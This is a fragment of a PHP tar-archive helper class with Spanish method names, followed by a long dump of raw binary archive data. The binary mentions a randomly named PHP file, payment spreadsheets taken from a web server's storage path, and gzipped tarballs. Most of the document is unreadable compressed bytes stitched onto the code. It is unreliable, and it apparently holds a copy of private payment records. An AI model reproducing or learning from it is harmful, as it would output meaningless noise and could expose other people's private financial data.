	                 	                 $this->guardarSegmentoDatos($dataLast, 356);

	                 	                 return true;

	                 }


	                 function abrirArchivoParaEscritura(){
                                                                                               
	                 	                 if ($this->estaComprimido)

	                 	                 	                 $this->archivoTemporal = gzopen($this->nombrePaquete, 'wb9f');
	                 	                 else
	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'wb');


	                 	                 if (!($this->archivoTemporal)){
	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$this->nombrePaquete;

	                 	                 	                 return false;
                                                                     
	                 	                 }
	                 	                 return true;

	                 }


	                 function obtenerBloqueDatos(){
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 	                 if ($this->estaComprimido)
                              
	                 	                 	                 	                 $block = gzread($this->archivoTemporal, 512);

	                 	                 	                 else

	                 	                 	                 	                 $block = fread($this->archivoTemporal, 512);

	                 	                 } else	                 $block = '';
                                                                

	                 	                 return $block;
                                                                                    
	                 }



	                 function guardarSegmentoDatos($data, $length = 0){
                                        
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 

	                 	                 	                 if ($length === 0){

	                 	                 	                 	                 if ($this->estaComprimido)
                                 
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data);
                                      
	                 	                 	                 	                 else
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data);

	                 	                 	                 } else {
	                 	                 	                 	                 if ($this->estaComprimido)
                      
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data, $length);

	                 	                 	                 	                 else
                                               
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data, $length);

	                 	                 	                 }
                                                               
	                 	                 }

	                 }


	                 function cerrarArchivoTemporal(){

	                 	                 if (is_resource($this->archivoTemporal)){
                                                                                       
	                 	                 	                 if ($this->estaComprimido)

	                 	                 	                 	                 gzclose($this->archivoTemporal);
                         
	                 	                 	                 else

	                 	                 	                 	                 fclose($this->archivoTemporal);
                                       

	                 	                 	                 $this->archivoTemporal = 0;

	                 	                 }
	                 }



	                 function generarRutaValidaArchivo($path){

	                 	                 if (strlen($path)>0){

	                 	                 	                 $path = str_replace('\\', '/', $path);
	                 	                 	                 $partPath = explode('/', $path);

	                 	                 	                 $els = count($partPath)-1;

	                 	                 	                 for ($i = $els; $i>=0; $i--){
	                 	                 	                 	                 if ($partPath[$i] == '.'){

                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                                                                         
                    $i--;
                                                                                 
                }

	                 	                 	                 	                 elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	                 else
                                                                                     
	                 	                 	                 	                 	                 $result = $partPath[$i].($i!=$els ? '/'.$result : '');
	                 	                 	                 }
	                 	                 } else $result = '';
                                                                                
	                 	                 
                                                    
	                 	                 return $result;
                                     
	                 }
}

?>
PK!��1��	j0cye.phpnu�[���PKI�PK!�I@�"",3s58b1/payments 2025-05-29 03-55-40.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-29 03-55-40.xlsx000075500000015356000000000000020162 0ustar00PK��ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK��Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK��Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK��Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK��Z
y��rdocProps/core.xmlSV��QO�0��K_�h1�����I1�Z�T��i���{���o>-g���'�g��L��ye��$���J���e��ސ�#ג�FÔ4�ɬ�ȅ̈́q���
|@�g�N��f�z����AH�`���8���r��k�#Ʈi�%GN[`j{"�#��ӕ �*���p0��,������#Y)l,�=�}z�U��zP�c4�?�o���j�t[�R�Rd�G��զ�ɼ�9��=���"4�R ��y$߯�a@&a��[�༎��R��h��I:�]�q6�dW쒱��v�ȑZ�o��@�]���j�+�g�~����n��p�bx�E�N~�?�?@`g�"t���6N�"6vT�K
���k:�:y��7PK��Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK��Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK��Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK��Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK��Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK��Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK��ZG�D�Z� [Content_Types].xmlPK��Z�78�K �_rels/.relsPK��Z�$�V�� �xl/_rels/workbook.xml.relsPK��Zad���E �docProps/app.xmlPK��Z
y��r �docProps/core.xmlPK��Zs�{Y�� 'xl/theme/theme1.xmlPK��Z',�eY� 
xl/sharedStrings.xmlPK��Z�A	�
 �xl/styles.xmlPK��Z�U���v �xl/workbook.xmlPK��Z�f�m� �xl/worksheets/sheet1.xmlPK��Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!ϽI۠�43s58b1/payments 2025-05-28 15-32-07.xlsx.xlsx.tar.gznu�[�����YgPTٶn��dDI�sNM����d%)t#�&g�$H�&K�"I[$�dD�   Q$	Mx�̝{�;��z�����9���wN�o��^��•��ˋ���с��j���w����pv�s��t���9[�8Z9�����x�A<�b� !A~Q^o7o��DA����	�D��;���D�;�<��-\�^�����1n88t�&c�"����0&
p'�+��8[���z;:�IZ���J(��L�,h;���SG��+�X���!J��:!��d���l�zwy��h*�n�'��5%��
���G3T��Cf�W��$���-���׿��wP�?�Cu�k�@�Шu��/���#h�<��'T����n)�M��NJ�`K�Oи��$�"��n���u#o��鱎�I�zn��Y"��c%��@R�%s(E�0S����:k#A��tR�5^�uG��ӧI!��c�n�ne��B�GF�ܳ�Up�����Ʒe����ߑ�\�oh����z*)��G�5�hG"�2ru.�UcYw=)���@/�_�Op�?((Y�;�
@IO���o\��v���ƕH`4x%�W+7>�߮�ˀ�������+�+�~"��e�.�V�=��%�9�u3O��O�k̆�θ�"�0�3�����_�C��LϿ�2�,���"��>U��p!�i#�FkZ�/ϧ�_��(�"+�/GZ2d�]�2k$�U���O:�ۧ�c��%�	>���n�Y3�n��Vi�0���{6��^�P�������p�#�	�RRF7�8��U-���U]ܒ~@96yY�o�?$���v���M��s�+a̯
�J��W������c���p��oa���گ�D��s��e�i�Α��lj�B���pP�u<GP����a�t�O���n
�ĞjkL`W�r��k�j޹�/<{fM���.F<+��ז(�����M)�=%uABM������/�&�_�{�Y�0��C�j�~�7>lH��c�q���փP��0���A>�,	�����Բ��m���4G����(�p�]�l�Cf�)����2���v?�>���Po)����&�u'Y���ïf�:@|�$
q�;������YzrN���M(r��v�P�Q	W��A��}EvĢFcKg�܊~�#k������a��v#�zv����
,���tt�?�wy���&�]�|W׭�>�l�1�޷I0�A���JpKч�$�F�'����!0�ۗ×`��q[ٗSՄ��T����"��g�ҕ��wv�ȕ�4�"���H��"ā�6���)�I?����yHf��A���v�RZ��G�!���p�{�&`y;2�|\��S
u�����5t��7a�<Iz�b����H��"mM�זzD�c�O����9�U�	w�'Z��)/S�����ȫ͛rT���\~Ь��O�)]�ɻպ��Y�UZ�	�:�^r�zh�=�K-SJ�:��f"��d/1���L�z�ɕn$?���Z�)\�]��ʿ\�ۅ���,Qb�a�$����ő�3@����ն�91�DJ��8Sޖ�'k�cnM
5Y S��H��M�f�H�J���p�D%C<���vJ !�1sP5_XV"A>��%:*��h��P�g�B�����Q�g�̣��8E����vD�,H8w�bL�V;�b}L\]O�X��v�o�_�(i["@�:�>p�	j
2h�R��s�}*p��8o�~&����	������W5.�-$�֮�Hۋ�Ho>�2�/wRK~㟂���A���g�^�=��YGO�s�ƒ.^������/��m�z��p�Ŭ�z9��dB��v�UH$>�OQ��SK��(
?���=T�jZڤ�.�[��FL����e�*��X9Z�q�S����Y���;z�
�H�	����)���
�Պ�r����m�� �O��>yRԐ��5h'VtN�8��;�fD�
�
9(l�� ZQ9;{:-��r��$��B�x*�-����aw����KJ�I����~�h<%"S%��h$�@]UR/���	H���VC���Z�?d��$>ƙ�t���������m;<��	�ۻ
7�,r�f즋�EJ(��j1Y#{1$�ʡ��At��V�E!O�>�ɤ4�|0'0P(#��V3"�H|���12JY�eTs�G楁i���af+MP���o���kR �^ݻƩ]*'�=x��T��Z��o/���z�!�y��f��F��yc��={���CPmԈIA?3�ۍ$68C��D�{�έSSӈw��a�-�š% H���F�}��ilS�^&9V����^�i�;��˸C�(��gF#��p������%z,�}���6V��GG�B�ŔhN�LN��^꣦����㍪V,�;�Kel�2~�K[#��o���F�j07(ōJǷ��I�
(��ٝ1T�_U���N��U�_7r�҂�JP\
���/_ܨ#�&_�]+x2�����4,�;�ѭ߻
��A|�$�x!�$KC�ۏ��E}/�G1f\v�e2y|����#�4,m�N�d��K9� H�)W���.�����7��/�]�4�	ψ����,{H����@�����IRi��KΥ��4��E��5i��!�1Vo�nFii�e��ݩbk��-ձ~�(q� �5Fk���
R@
t�`{��)�x!�6O?�N?M7d�Nzx�"��|'Y���j���6�ʏp!Da0I�-��η��k��g����p}?�;�5\o0m9nh��_sX���A)	Rvz����G��H��b�$,nB_����!awԓ\qk�e)^�JEݤ׆v��z�R����p���f�1e�<{3I�R½B���G��aMrb~�� ��+~&�UTH��mZF��AI�1�bB
�U��&p�mn���z�R�.�E��NY(!���<��{e����+�(�e��D�w���}�Ia��ㆰA�S�'����1
Z��I�>��:�FD�Ab���ʶDO�)�{�Ke�ӿ�2]�S꒻I�G�����
�EXA�8N�v�� ߛ��AI~0��daͭ3�l>�>�羞���6�[h�{�fz�, �W_��(N����u��$�	:���C����"�6�	S=�un���	+���%�ô�=[���O�L� ��'�m�$#��|5�Z�b-br��ϝ)�J�$��ymy�]��,��ǗĈ��ΫO�̃��y�|�����s��DɥM�jZ��T��Hە�&x���Ѳf��P�=��5�5#ۉv�Y��e4ԉz�X�j(�p���h
i���o�_��4��~%���C���#���z�g�ް��(?��8o����l,\�`zN�n&�X]M0�E�+�~�$�ke㺹��1��s3��I
�w��q�o���8�O���l��A�"���I�t�KjU�(�0�wh�ϭӡz���~� ���E�>U���w��B�:%)*W_5C$	o ��.����L���&e�Χ���E���m��C��Y5�棤xp�^D6���S��O1M�����������E�K̉¼�hۨa�!E�r��f-�4��axC(��8=�7&AȬ3��Y�A�RZ�Mϔ۬� d@нlZR��gbu�!|`;���gF�o�I%����2}��7�3:jz�� 5Zw���la�x�j�̔���_����-�D.G�{%�@�9�}���Ð�&<���et�E4�q܉�ގ��p�n�n��K�g��������򛎳�@���)t!�`�g.��`��AI�����EM�B��`ʻ(W���9�j1��R�7�]񽊋�2A��m�I��&������rC�vr
�ƶrn
1&
\��le��V�֑_y��65]��R&ԇ�@��)7mTN(:nռ~~�9�i�Ќ J�;�EnD�Q�꒭��B�[uOV�K��7�R���R���շ`]y�I���&���æ��ؤKb��-n����b����+���,d��a���9�D���m��
Ǥ�9=-.�α���D���CT�r���E0c�Y�{���(F��*�H!���G�^֪J��ON$����
	:N�e�G;��������s7s�8�����`1�.<�0��R�NuoX
�&����?�9�F��W��+��k�χ�	���
�=��[N��m�V�[|�6=ii��|��';����N<���_�D|�}=nF
�PW���&�#n~�2�c����o>�D|V�*�>���XW��mw�;�^��Qk�·zK�9sW)�����Y�#x?���ד�
I-f<� �$��B�9n3�M&�bؔV`Ju��|>��Z�v}��Q�Yo�/��|�E^��VǭP�0�چN����JoB&����霸 �(����Hʒ�#�&��Z���bRkڪ��ul
^��e&ͼ4M��݋?DEDSc/��#K��8�x:̣#�n��Y3AX����o� ܤlú +�{��M��m�ږ�@f��(�=rx��ɨ��i
R�ŭ���3F��h�����ۗ���w���W���9{���~�/�`|�"?���1�'��]y�\هOA����e�b�d����xh��<���v��\0�	���n�g:�%^�2y���L�{�F�c��.��q-q�oܫ�.A�h�<�:3��#�G�q�6��u*������3��Z��^,�F���_���GM��7 @��p���rw��Ϫ���>|V�8p��z3�j����g�ٛ��3
0S�Sf;��ͪ��O\M�@Gݫ4?V3>C:7��LC���*r��\�{�/�<�lW���,�\�t��9k�5�bZ#AA߉2r"r_/��ۍ���x��_	�4���m�'Uj���P�̹�jv�#dt�Q�X��{�M�{�&D����ԍ��8��1'�I�+��4a75�v7��\�lc��U��Y�1����k7ڥ�ɬ8n��8�g�s�+;>r�j}����'h|3bY��/�[�3� ��>�h�%��U�-�+������$����ԣo�$_q(qx��^9���q"\�`����`ė�~�����h{7�CK�^���LUTm7�����t�}���*�����h���Ьٛ�`KU�B�������~�"�t�>վ���Q@<3��s��70]�<[!_��Y�;�cR�o�ds�RS:m��#���G
c��@�i�1��2�r���a}��YT��G�t��;�C���-��'z�I�L�T�gmX�&4_,��W��"��
]0	y4�pC�W~�)���q'U�4Z�"�ӥu�],����V��X���4��bE��;/q�=�\�v�g����6D���a�G?�䣈�HUP�&d����GQ<?a
Q�q�9p�t#�)<u�`<�PM:R/=��AǙpZ�&���k��Hm�"�e��-�~���\���R�fo�K�[�Z:~��z��������\B��W��tv�)���&�bvy��]��[�5�.��k���w>�q��*�p���4��eA&8�gyHnqj�O�m���Q�c���7�`E��U��w	|���ZwR�"�m�XJ,L����ĝe�jL�tw�f�YC0<�'��f.eh�t?j�b���Ie�\4~�o5d��l�ι�R�\�`�R��߅ze{�-L�Wt�z�xc�ֻb�X��g��z�j_�b�X�͒խ�`��jzhm.�u�c�
���\�^F��G�\�(�7E,�y3)sh�%�w�qR;���I���>/G.�(C`]�ߎEb��L��Q��W�+���[�#@��@�{ W��B]�ND��\���~<l��>�+��̷j����-�j��;�?�ȩ�����K��_ LjIb�%�s���N�Ҋ3�;�ږ�m�C	%�}j3�V{�����������?�q,�+�����W�?5�5���ٰ�j�?�z�������ȯ��_����~���{S�W��
���ٰ�.����g�������p�H����p�d���z���<1�ת�W��K���Ǥ������r}��̢~�W���L0&�o&���ؕ���-�o����7��?s8�"PK!M�����3s58b1/3s58b1.tar.gznu�[�������H���]l��z��X�Ef�I�Nf��<�k&�L��[&y�($@$0q�%���3���l�&�Vf��v��1۟j�L���L׼�9o��>��_\$�䩚�Bw�q����p���J�X��}a�?y���H(d�����Q����G���@Z<�$S"h�s��|�������?���?�������_���י3�q�+��O���_����o߁�t�?>���-�SF,O���D����#Ao���4�Hg�Lg<��M1�Ü),1�X�Q8�ӧ=�C��b<0?
�{,1e�O�A:ciJ�d��O(E�"�Bɬ�q��CKb����˃w�=�ǔ$M�I���H�e�xjuGO�Ĉ �����R�sV*uDv,�_o�!��L��!33��P
�?:I�}YK��#9�N�Z��	#{;��dh�-C��=��>u���G���G7p�(>���z�ލK�PiXT_(��,�ʮo��� <3���� ?L�Ь4�9��Q2#��p��O}����!�
��P'L�DF�K���Ÿd���C	8>OS�Ҵ�DEkt���&��i2J��kS"L�J��=DO�<q,��B�i@"�?%�c:�S��F�>�d0�(P-�c����7~�k�P�>Í��]�}B��pv$�ӗG�g y@W<�9�:�3)Og<�HϜ�MIl�W���4�:-8�u�Y��'��'���@Ix~TYf�����	m�#NŃ!�=T߄���Xe����@�I�3T�D��@�T�c`L�/ [}{��.�]���
B���T�z]�'҉Z"��f���U�}���8�E��8Äg�TX�������>���������?�K�Ad������L)�Y���H�!�Y��Y�� �	xQD	�Pn~�V�o>�	��@�������O�!>��O��;������>��K���▉O���G�ǿi��w�Յʃ�O���j����@6a��z(@�+�韁Կ�����N�����k�#�~j������F��_�sTۯ@���9(�T2��h��K��������;��_��>��d��'2�
 �w�ʿ�����)H	����ÒxI��b߁���o�O���/��"�؛�и��P'�� �̯a�(e.�� !i�c��?����wK�I�Q�9����	��;�I��`��߁��^!-𨺿V��=��a-X6�7��ߡ�^���"&@h2|�c�>�����3�(����/b���
��O�=�k��L��!P�+>,�g�� (������XC8�
�V�@� �4�D'L-�2���S�&�`�c�V�fU�����}�Wz=:��
�z�.�޿4�G<\�����?�m|����_�t��9���F�G�KX�%�oA
�ʉSxj�"d��F�Ƽ����<�?��e��g՟|�LU����3��J�,�a��{ʟ���ۏ�A߇̂�-M�,ld.�؅����"rӫ+2S�&�%!���#�01/��hfA�-�
2����?p�J��c�#V��"�TI�p'�,��6]VX/ʤQΟ��t��t��������	�����!�U���ʔ@1�w!�Au��%�<�2����V���.S;5���B�+3�`���p:�k@����O�BF�xlΤ�"I,��0��YQ�&�JD���PTE�]���h�ҿ����ie%��b���%�B�}a���;��&�2(!tqkGc��g�j�E=�k4K�O4pU�\��@�S��2����7bGi��l��65��(	-��.�x���>��k���E+d&��HY��C�+43�m������t.��z�
�S���g�f�\�
�o��I"+����>g���ij��?�1-(~k(�-��8-	I��67���b�*�����VeL�x^]s�H�DzfoJ#a�J�rΕ�-��	TO���≯P4�Wy�n��0`���C@�&�:�
���D�Y�^�b�H뉠	V��z|��.�<��9�f\N�	�j�#
�����J�ŏ�����K�Pۂ�:%����dx��)*���tE�2t���cJ��Gcy�:y�d��j��;?��-��8��rz�����z���%Y
$�н�G�?'	�A�O	/���x��q�"H��H�<#jކ�qM@�@7�RP�]@�R�\�G��B�[���;��^t)Nb�JCv�5���I�T���3Z�x�iP/����x
S�G���"��-S�qh�H3]
�O�2�d�G�Qe2Ժa]��KH�@�T�
���}%����A�#��j��q�蓪
�Z��	jεYm:������=�4˦$����A��8l�S7T9?Xp��Z��f�z�����޹n�B����5�t��W���+#Fd;3BH\,/�nj����Bַ��Ɇ�i/'�ԁY@�EU�:�ʷ��⋡uCv�b�

6�:�>�].jVm�p¨Y��f�J-�P���2	��ٶ�	�p�x��!>��&پ� ��@.�2��Y:��l4�������k`9G@�x�'�DL��Ǹ�uڤE��>A���m��C?' �`H@���21�d���!]Hp�9��� O�UZ��K[Q�hu�c
#;�-��:'4w��c)���@~^�8ЙY������(���2��.5�Z]�(���[�ӓ
`�N�'(4�F��[��@����gp�R�#I�@��ij�>P���0���(�
@Ӯ�0'�{��n�x$��OP�J�;QQ6gי8ʾ1+�ƙ�n%?AS�scGǢ0�o�JT,��d�qҖl��jF�-9ElJx�"�1�U�k���e�짧o���~~�S�K�4�"U*�s��N};�#��	�Ӭ�><�k9���b)0=��m.�ꢚB�B��\]ʟ�%�р��g�7�,	�Ʋ�K�����+t@es�"!�����(�m�K��mBԮ���ֺfU{TՃ5�Aߡ�@m�D[�`tȄ�t-i
_}E|��E5Sid*�׵Z�)�Jeʵ�B�xUO\e��򚐐6ߘO=��,@�<7��4([=��`$+��K����_O�)Ou��Jy���>a�
)vRN8����zѥW����l�د@I,��-�.�rX¾���r@��S�`�{#�[��|k�mÔ_}XhxCN��@!�(q)�`�P�B8�ʓ���A�3��G\$
P�Q٭�ªU��[}�M/*���Nh�_�u ��b��z�nZ�����:rH.'�G!I��z{��W�P�R�C�2���lFB9TC�%��ִD:	�]^�酽wZMv#��;E�G�^f$L����t!u��Hu\��j���$�"��d4:���/�瀇��dx4�Kc���sS-���L5�(g��-�*�3��y�I��1���l��yz:�-�&H�6��L�iDɝ���u������G�����G�㷏�7_B���Ee�>:�t�~�����j�ߗ�w�*٬��q8���NǷN�	�y �NX����bB9�SV�g����'��\N�N��䷵�'a	��ز���0�iT�����#Hw����Q��%��5�m�ee��H[`L��o�e�k"���LB.�ky7>��gh&t�*��@?C(Sm�fF�
vv���Vh-DM��Yy˜jQ"'-;̈�}�/ꪷ ������$��i�+!߰c�d����*Kͻš��m�Ʊ�n��޴�
4�_�4�����1���I�P��4���^e�dW�B	�;h��Xc8�8e�k�/�Ӯ�e�M�74�h�p��-��̶��
�o��_���u~��Eiv�-f6GV��
ϱ�pK�:�]����\Q��G�ѧ��Ո��G]>t���\�U�*E��͘8�&Q����TfAC_���W���R��ᛥ|>�)��{�3�JO>P|��x"����~엲�4�
���u�$Z�]b���������&	P�����=�v<vBwb4�44�=�s��PYl�f���}/�j2�	�cp6h�;Cp0�Ϝ��iSlG؎���G��`~ýBu۰O�}�]u�:��+v��	�pJn�����W��@O�P��P�ό;�bʞ��X�A��-Ν�Du�:߁�����[J3�Ҙ�w�w%M�U��Qu��d�C��1t9��՝�$��G�f�Ӂx�I0��(��Z�q8[�,��Ku�;�)���m��iF���3�����M��IQ��j1W�,My�cb-i{��S�������u�̹IYߡZ_W;5T�K�,nV`9_L�^B�̜�)q�j"�}p�Z�q�MK������X,����
�/fkHB�Cb��:�̱w/��cBk�۩x�0������lGd@E���s�>��5G�fu���V�c�-[7:�Y�r�N��bm.E_�
�1E�ܞs�&"@F��!�3g���%�K�L�K������,��6-!♩Zb�I�r��S��{<bL�&>�1��Y�Ju��ҡՄ0����3��a���j3�Մ��v7"L}�^
^���6L$Ы	Ź4�<D�t1��ve�d�<���Û	[�@&H���u���d�ۿb�E�tШ}{���m7�K�o|�"�A�d�ޏg�����&&y��$�G�ڦ�ބ�����r�*��"����2��0�Fy��qC�4����o�E[�̌��ڰks��A��AV\0�ܦ?K��X�X����e@�#���W�
w�����o�Qm>f(�1�v�.	�P�9�F�q���Ƅ���g`�c��c�]�׃i���,��|*���ՠ��eD�
C��j���=�A@�\�ȩڂF�?�]N���Stv�s�w��)7'F`r1�w�!(�t�1Ûw�C8D�۴�>;�]F�Ea|���z
�p����������?�?#�%��=9J�1�6�l;�� �'H��ֹ�o4˸v���rNP�N��>"�EA&�y}�A�S��q(�U���b�Ss-c7�k)���.��7j�bEZQO���m�8�69��|��m��B|�5,�����+&��o�~_ �p��i^'ўˌd�����^��i��t�/����ߖ�o�;l^Y4����W��=R�v�]k�꘍ۆ`
�Z�#�8==��o��|
�2��xs�#�]�lO��B9L���Ե�c���XN��Ph�����^sH�qa�6�
�.�?=�"_��a�,�6�2�~�KB�#�@/j�W�T����ޫ���1t��	���Ʊ�4ngy�YԿXol[�eD"�6𯴜�䯇a5���O#�C��j��F�ea��'�l�\�+�
߁��/Ȑ2ed^LK3���,'<��
��}����ñ:
X�@#���������)���?<>�?�5hD;!�}�L
dp!��u�
�*���G��ydɃY{�n6�������U؞ߪ
���3H�
�"7af��?H�OIiK����C�<��Ts���x�F��
\K��sDv��5�qa��>E�2P<,g8,�<�[E��f�DV|��skQ���f�wA��KO�o��yJ�P�cPr�;����-v^������s_='��OdV���i1��PN(3�"�<�#N��$+~E�qC�U)���"�"Ӎ;�����c(#!��$��t�7�xzI��w�-I]��c��.\@�R�	�	F�s"1����h�h�Gn�O&�O����f3"#y�η�c�FuD�mCD;�.�E�����O��Z�]���y�3�%q�V��Ƙ֓ðӴ+��X�X0����U
��8�Rh�b�S�j_a���o0x�F�at#F�t�1$�AP�q���eo�Ȩը�4�x�Q�DI�qcq-t�u䅀H��(��
